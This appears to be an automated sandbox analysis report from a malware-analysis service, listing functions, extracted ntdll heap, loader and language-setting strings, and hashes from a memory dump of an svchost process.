String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 0-3591852110
Opcode ID: 13fcea9ee62afc4bfa9bdd5631ab78a58adcf1bc4a2082bdc01f315687d27b31
Instruction ID: 4d0146425bd81bde0eefc854cbf60fb679ceecf8b4d1d3a261bca2c1ff19c1b4
Opcode Fuzzy Hash: 13fcea9ee62afc4bfa9bdd5631ab78a58adcf1bc4a2082bdc01f315687d27b31
Instruction Fuzzy Hash: 3812BE71A00645DFDB268F2AC441BBBB7E2FF09788F148459E69B8B641D734EC84CB50

Function 02F2D34C Relevance: 11.6, Strings: 9, Instructions: 312COMMON

Download Yara Rule

Strings

@, xrefs: 02F2D3E9
PreferredUILanguagesPending, xrefs: 02F8A8DE
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 02F2D3B6
@, xrefs: 02F2D49D
Control Panel\Desktop, xrefs: 02F2D45D
PreferredUILanguages, xrefs: 02F2D4B8, 02F2D4C5
MachinePreferredUILanguages, xrefs: 02F2D685
@, xrefs: 02F2D663
Control Panel\Desktop\MuiCached, xrefs: 02F2D62B

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 0-3532704233
Opcode ID: 4fc52f30a749ff3081eb146c1429674c1701a8033aebe892267a1aa387cf4949
Instruction ID: 19fd0e2a35c82342fcc592fa0146fd6b43fe9ade9994f9f9938adb015e6e1c2d
Opcode Fuzzy Hash: 4fc52f30a749ff3081eb146c1429674c1701a8033aebe892267a1aa387cf4949
Instruction Fuzzy Hash: 4FB17D729083659FC715DF24C880B6BBBE9EB85798F01492EFA89D7240D770D948CF92

Function 02FC9179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON

Download Yara Rule

Strings

\Sessions, xrefs: 02FC9488
AppContainerNamedObjects, xrefs: 02FC946E, 02FC94D6
Global\Session\%ld%s, xrefs: 02FC94C5
%s\%ld\%s, xrefs: 02FC948D
BaseNamedObjects, xrefs: 02FC9477, 02FC947C
%s\%u-%u-%u-%u, xrefs: 02FC9422
\AppContainerNamedObjects, xrefs: 02FC94AB, 02FC94B9
\BaseNamedObjects, xrefs: 02FC949E

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
API String ID: 0-3063724069
Opcode ID: b1ebce9907bf4b7f9434f25621c6b270cf4739d19199c81c8ca63350021bdfae
Instruction ID: b1aa3fc1eecd4cdc41d2b7343ab9f5b8fd01cebf4fa67ba8c69ebe580878dd38
Opcode Fuzzy Hash: b1ebce9907bf4b7f9434f25621c6b270cf4739d19199c81c8ca63350021bdfae
Instruction Fuzzy Hash: 8CD10472804392ABD721EA64CD40B7BB7E8AF84794F50496DFB84A7290D7B0D9448FD2

Function 02FE0274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON

Download Yara Rule

Strings

Invalid allocation size - %Ix (exceeded %Ix), xrefs: 02FE06EA
HEAP: , xrefs: 02FE03A6, 02FE04B5, 02FE05DD, 02FE0682, 02FE06D9
Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 02FE069F
RtlReAllocateHeap, xrefs: 02FE02BF, 02FE0362
HEAP[%wZ]: , xrefs: 02FE0399, 02FE04A8, 02FE05D0, 02FE0675, 02FE06CC
About to reallocate block at %p to %Ix bytes, xrefs: 02FE03BA
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 02FE04D3
Just reallocated block at %p to %Ix bytes, xrefs: 02FE05F1

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 0-1700792311
Opcode ID: fb8a0e1a14073fb699d5422603a19c2e3c18917ee05f5d479889c12c019d8e92
Instruction ID: 9c1dcaf8339107a60d5b40647001457c6fad14680c4c91e96c32b65381df4f12
Opcode Fuzzy Hash: fb8a0e1a14073fb699d5422603a19c2e3c18917ee05f5d479889c12c019d8e92
Instruction Fuzzy Hash: 0FD1BF71A00655DFDF22DF68C850AA9BBF2FF4A784F08805DE646AB251CBB4D945CF10

Function 02F2D08D Relevance: 10.2, Strings: 8, Instructions: 249COMMON

Download Yara Rule

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 02F2D2C3
@, xrefs: 02F2D313
@, xrefs: 02F2D2AF
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 02F2D0CF
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 02F2D146
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 02F2D262
@, xrefs: 02F2D0FD
Control Panel\Desktop\LanguageConfiguration, xrefs: 02F2D196

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 0-1356375266
Opcode ID: 4c0f6a955b57945fb414cde1a61385c430fdbdd770a6da6e60d98f36936ff3e9
Instruction ID: d4b18d549a6f775ccd11c0d9a317cca3005605f8ea3f44d588e91586b652ba5f
Opcode Fuzzy Hash: 4c0f6a955b57945fb414cde1a61385c430fdbdd770a6da6e60d98f36936ff3e9
Instruction Fuzzy Hash: DEA15D719083559FE721DF24C884B5BB7E9FB89799F00492EEB8896280D774D908CF92

Function 02F2F172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON

Download Yara Rule

Strings

((LONG)FreeEntry->Size > 1), xrefs: 02F8E0B3
(UCRBlock != NULL), xrefs: 02F8DF6F
(LONG)FreeEntry->Size > 1, xrefs: 02F8E291
HEAP: , xrefs: 02F8DF64, 02F8E0A8, 02F8E286, 02F8E39E
HEAP[%wZ]: , xrefs: 02F8DF57, 02F8E09B, 02F8E279, 02F8E391
(!TrailingUCR), xrefs: 02F8E3A9

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: c6ee9e2a0c9c2a4194dfd2ab389b89e466de84897c29f996a511cf7cd5eaf9aa
Instruction ID: 95170a41742882707e7eb9b4af44c3d29c381c5cb8239f5dbb1edb190af801f4
Opcode Fuzzy Hash: c6ee9e2a0c9c2a4194dfd2ab389b89e466de84897c29f996a511cf7cd5eaf9aa
Instruction Fuzzy Hash: 7842F1316143418FD715DF28C980B2ABBE5FF86388F14466DFA868B791DB34D849CB52

Function 02F4B1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON

Download Yara Rule

Strings

SxS, xrefs: 02F983ED
API set, xrefs: 02F983F4, 02F983F9
LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 02F984D0
LdrpPreprocessDllName, xrefs: 02F98403, 02F984D7
minkernel\ntdll\ldrutil.c, xrefs: 02F9840D, 02F984E1
DLL %wZ was redirected to %wZ by %s, xrefs: 02F983FC

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: b4122c37c9866cfc5df979bc5b1dd553829c0686879c3e4ea25b7dbe351407d7
Instruction ID: 3a6ce8d51d1e40ea2638e6a36bb5ad3a9c5b73a7372f9b8f62345a187a8ce99a
Opcode Fuzzy Hash: b4122c37c9866cfc5df979bc5b1dd553829c0686879c3e4ea25b7dbe351407d7
Instruction Fuzzy Hash: FCC11731F002159BEF259F69CC80B7EBB65AF467CCF144069EB069B292DBB4D944C790

Function 02F663FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 02FA40E9, 02FA414B, 02FA420F, 02FA4269
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 02FA40D8
Delaying execution failed with status 0x%08lx, xrefs: 02FA4258
Process initialization failed with status 0x%08lx, xrefs: 02FA413A
_LdrpInitialize, xrefs: 02FA40DF, 02FA4141, 02FA4205, 02FA425F
NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 02FA41FE

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: 9c7dd895f3a8df88c30b38dc20d641b27faa072ad062495ec57fc1ecbfa220d9
Instruction ID: 8993fe33bc3279fb3125af736c6877fc23410cfbf15b4951d61e4aa521628c74
Opcode Fuzzy Hash: 9c7dd895f3a8df88c30b38dc20d641b27faa072ad062495ec57fc1ecbfa220d9
Instruction Fuzzy Hash: 77914771F013149BEB35EF54DD58BBA7BA5EF41BD8F100169EB01ABA84D7B89801CB90

Function 02F6C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

Unable to build import redirection Table, Status = 0x%x, xrefs: 02FA81E5
LdrpInitializeImportRedirection, xrefs: 02FA8177, 02FA81EB
Loading import redirection DLL: '%wZ', xrefs: 02FA8170
LdrpInitializeProcess, xrefs: 02F6C6C4
minkernel\ntdll\ldrredirect.c, xrefs: 02FA8181, 02FA81F5
minkernel\ntdll\ldrinit.c, xrefs: 02F6C6C3

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
API String ID: 0-475462383
Opcode ID: 2a2648b6072d34db08f862e1d07ccf8b1922c07cb772a3cd96acedfbae9d1507
Instruction ID: 166404205d37d4f4795aba0a7963bcab060b13c2dfdeb999ff238fab743486b6
Opcode Fuzzy Hash: 2a2648b6072d34db08f862e1d07ccf8b1922c07cb772a3cd96acedfbae9d1507
Instruction Fuzzy Hash: 913108B17443519BD220EF28DD45E2BB795EF84B94F000568FB856B291D664EC04CFA2

Function 02F62674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 02FA21BF
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 02FA219F
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 02FA2180
RtlGetAssemblyStorageRoot, xrefs: 02FA2160, 02FA219A, 02FA21BA
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 02FA2178
SXS: %s() passed the empty activation context, xrefs: 02FA2165

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 0-861424205
Opcode ID: 9b4b5064ecf10eed8553c7eadddded681dedfab630de025d50dfff5ba9dcb52d
Instruction ID: 2189ce5a62521e3ff2934dcb34a57e4a5a856c7afa3ba7086befef2fdf2706b5
Opcode Fuzzy Hash: 9b4b5064ecf10eed8553c7eadddded681dedfab630de025d50dfff5ba9dcb52d
Instruction Fuzzy Hash: FD31D276F40214A7F7219A998C95F6AB769DF94AD4F054069BF09A7140D370DE00C6E1

Function 02F551EF Relevance: 6.7, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

WindowsExcludedProcs, xrefs: 02F5522A
Kernel-MUI-Language-Allowed, xrefs: 02F5527B
Kernel-MUI-Language-SKU, xrefs: 02F5542B
Kernel-MUI-Language-Disallowed, xrefs: 02F55352
Kernel-MUI-Number-Allowed, xrefs: 02F55247

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 6f04a83137a79b3bb6a70795adebaa303df32ca63c9fcdf9b77592f41e5a6da2
Instruction ID: 46f65e18556bbcad2e90f21d2caaf7c5f11ec495b51d48fb2c03cc06da3e921f
Opcode Fuzzy Hash: 6f04a83137a79b3bb6a70795adebaa303df32ca63c9fcdf9b77592f41e5a6da2
Instruction Fuzzy Hash: 43F13B72D10229EBDF15DF94D980A9EBBB9FF48794F55005AEB01A7250DB709E01CF90

Function 02F5D7B0 Relevance: 6.4, Strings: 5, Instructions: 151COMMON

Download Yara Rule

Strings

LdrShutdownProcess, xrefs: 02F9F2CE
Process 0x%p (%wZ) exiting, xrefs: 02F9F2C7
$, xrefs: 02F5D900
minkernel\ntdll\ldrinit.c, xrefs: 02F9F2D8
$, xrefs: 02F5D86D

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
API String ID: 0-1975516107
Opcode ID: d534458abac24937a76b9cdfd864068668d17611aedc8f16952ccc3ea26e64ec
Instruction ID: eacb7a05a0121d7e499d10ce715cc889093a8c6cf4428299d87afef115d8a80d
Opcode Fuzzy Hash: d534458abac24937a76b9cdfd864068668d17611aedc8f16952ccc3ea26e64ec
Instruction Fuzzy Hash: C151F371E023559FDB24EFA4C884B9DBBB2BF45798F244159DF016B285D778A881CF80

Function 02F276B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON

Download Yara Rule

Strings

, passed to %s, xrefs: 02F8B040
RtlFreeHeap, xrefs: 02F8B03F
HEAP: , xrefs: 02F8B023
Invalid heap signature for heap at %p, xrefs: 02F8B02F
HEAP[%wZ]: , xrefs: 02F8B016

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
API String ID: 0-3061284088
Opcode ID: 341383ba05a020c2ebd159caf31e16b353d8300f9bb8a2a5638c4b99ce5fbbba
Instruction ID: 430611584313a0824409ecb3309136f76d399b1d9980419c415befe6864ed045
Opcode Fuzzy Hash: 341383ba05a020c2ebd159caf31e16b353d8300f9bb8a2a5638c4b99ce5fbbba
Instruction Fuzzy Hash: 25014C322052A0DEF325B318D859F56FBD4EB43FF8F244049E61197591CBE8EC88DA21

Function 02F470C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 02F47C7C, 02F4867F
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 02F47C96, 02F48696
HEAP[%wZ]: , xrefs: 02F47C6D, 02F48670

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: eb95f6172bc99b7c36264c3a131c97dea1c7ed00dc6ecc63e947b47143b0f5dd
Instruction ID: 30e3f5552995a78c4b75f2f0d8b889f01540999a52f95e2d35b909255e66f5df
Opcode Fuzzy Hash: eb95f6172bc99b7c36264c3a131c97dea1c7ed00dc6ecc63e947b47143b0f5dd
Instruction Fuzzy Hash: D113AF70E00655CFDB24DF68C890BA9FBF1BF49384F1481A9DA45AB381DBB4A945CF90

Function 02F41070 Relevance: 5.9, Strings: 4, Instructions: 940COMMON

Download Yara Rule

Strings

!(CheckedFlags & ~HEAP_CREATE_VALID_MASK), xrefs: 02F9588F
HEAP: , xrefs: 02F95884
@, xrefs: 02F95A53
HEAP[%wZ]: , xrefs: 02F95877

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
API String ID: 0-3570731704
Opcode ID: 0fc7c419fc2275868e7550f7395d28672a20f32ce1b360c5fa297cbd678e9afe
Instruction ID: c1f9235e570ef55a778a7e9fe31b9e5b5b7560e2360a641b6f17e76fb1da1bf7
Opcode Fuzzy Hash: 0fc7c419fc2275868e7550f7395d28672a20f32ce1b360c5fa297cbd678e9afe
Instruction Fuzzy Hash: A3923A71E01228CFEB25CF14CC40BAABBB6AF45394F1581EADA4DA7250DB749E84CF51

Function 02F3A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

LdrResFallbackLangList Exit, xrefs: 02F3A3FF
LdrResFallbackLangList Enter, xrefs: 02F3A3EF
8, xrefs: 02F3A3E7
6, xrefs: 02F3A3F7

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: 725f774b71451e191cf1ed864de285ffec4f866189c09353c59969a79c353560
Instruction ID: 0ba26da1d9e1590cafd739acd38a6d616778be7249e3426970cb8578608fd3f0
Opcode Fuzzy Hash: 725f774b71451e191cf1ed864de285ffec4f866189c09353c59969a79c353560
Instruction Fuzzy Hash: 57C1AC72608382DFD712CF1AC544B6AB7E4BF84798F00496AFAD68B350E734C949CB52

Function 02F6273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON

Download Yara Rule

Strings

.Local, xrefs: 02F628D8
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 02FA21D9, 02FA22B1
SXS: %s() passed the empty activation context, xrefs: 02FA21DE
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 02FA22B6

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: 7e351de37fca3e5e66b46bd562311839d88d4a5bbe7bb68276182bbe0c4cccc8
Instruction ID: 9012e15d12f271efed9938946aff0c1ac9f668151e9c5fd149db5c9e54ea4d20
Opcode Fuzzy Hash: 7e351de37fca3e5e66b46bd562311839d88d4a5bbe7bb68276182bbe0c4cccc8
Instruction Fuzzy Hash: 37A19D71E002299BDB24DF64DC98BA9B3B5FF58398F1441EADE48A7250D7309E80CF90

Function 02F2F626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 02F8E54E
`, xrefs: 02F8E428
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 02F8E563
HEAP[%wZ]: , xrefs: 02F8E3FE

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 0-2586055223
Opcode ID: b6ef52b1c8149c144070b14922a72ab81852a9438c9bbad6dbb3cc2958d2e661
Instruction ID: a60e8d2a3bb0a8980b4655411a812a35451fcbcef0fde6233f9d1727214d2d57
Opcode Fuzzy Hash: b6ef52b1c8149c144070b14922a72ab81852a9438c9bbad6dbb3cc2958d2e661
Instruction Fuzzy Hash: 7C612072204284AFE721EB28CD54F67BBF9EF85794F140568FB558B691C734E804CB62

Function 02FE11A4 Relevance: 5.1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 02FE124A, 02FE125D, 02FE125F, 02FE12C4
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 02FE1261
HEAP[%wZ]: , xrefs: 02FE123D, 02FE12B7
This is located in the %s field of the heap header., xrefs: 02FE12D6

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 0-336120773
Opcode ID: 5e6e090f8d023de6d7255477ade647d0a0b106c24e5ce1f5488ab53f986020df
Instruction ID: ac269fa894ccc228ad20eea04fd211d3821c05333d77fdc1049fd70f7e9ea3e4
Opcode Fuzzy Hash: 5e6e090f8d023de6d7255477ade647d0a0b106c24e5ce1f5488ab53f986020df
Instruction Fuzzy Hash: 5A31AB32600114EFEB12DB99CC85FA773E9EF097E8F144059EA0ADB290D670ED44DE66

Function 02F29148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

VirtualQuery Failed 0x%p %x, xrefs: 02F8BAF7
VirtualProtect Failed 0x%p %x, xrefs: 02F8BABA
HEAP: , xrefs: 02F8BAAD, 02F8BAEA
HEAP[%wZ]: , xrefs: 02F8BAA0, 02F8BADD

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 0-1391187441
Opcode ID: 70972a6d8696fe39ce041fc529d0f92bcd18e331251f90d0de8281a21b45f8aa
Instruction ID: b6494b9e82cc4eda64860cfe20a882c7cf4c4817be5a10cbcd002f3faa11ff84
Opcode Fuzzy Hash: 70972a6d8696fe39ce041fc529d0f92bcd18e331251f90d0de8281a21b45f8aa
Instruction Fuzzy Hash: FD31C632A00124EFEB11EB45CC85F9AB7B9EF467E8F244051EE15A7290D7B0ED44CE61

Function 02F40770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 02F950BD
HEAP[%wZ]: , xrefs: 02F950AE
(UCRBlock->Size >= *Size), xrefs: 02F950CA

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: e9d75e1e7d2ca4fff55263c89b417b9dc10defb9ce22503dff38aea36ee1e15c
Instruction ID: 484a159e1e636d2dd17012a3b171f3cef553fce2e45cf030070b036efe793109
Opcode Fuzzy Hash: e9d75e1e7d2ca4fff55263c89b417b9dc10defb9ce22503dff38aea36ee1e15c
Instruction Fuzzy Hash: 0DF19931B00605DFEB19CF68C990B6ABBB5FF44384F1441A9E6169B391DB74E981CF90

Function 02F3B6C0 Relevance: 4.1, Strings: 3, Instructions: 303COMMON

Download Yara Rule

Strings

MUI, xrefs: 02F3B6D8, 02F3B7E7
LdrResGetRCConfig Enter, xrefs: 02F3B702
LdrResGetRCConfig Exit, xrefs: 02F3B714

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI
API String ID: 0-1145731471
Opcode ID: f3ac7ba8496b6319ebe665582056d6cc17c684899a9915abfad72850ac159c45
Instruction ID: a3cdd4402a11690d9a91ee28f6c7f3d18d197ccf8344c066617b8a24598ff730
Opcode Fuzzy Hash: f3ac7ba8496b6319ebe665582056d6cc17c684899a9915abfad72850ac159c45
Instruction Fuzzy Hash: C0B1AD72E056088FEF26CF59C990FADB7B6EF44398F144569EA51EB280D730E840CB00

Function 02FB368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON

Download Yara Rule

Strings

@, xrefs: 02FB389F
\SystemRoot\system32\, xrefs: 02FB3842
DelegatedNtdll, xrefs: 02FB36CE

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: @$DelegatedNtdll$\SystemRoot\system32\
API String ID: 0-2391371766
Opcode ID: 0b4e0b12a20ec3b8061a9cb574b9cde759273f3283cc750cb9ed6cf647d541ce
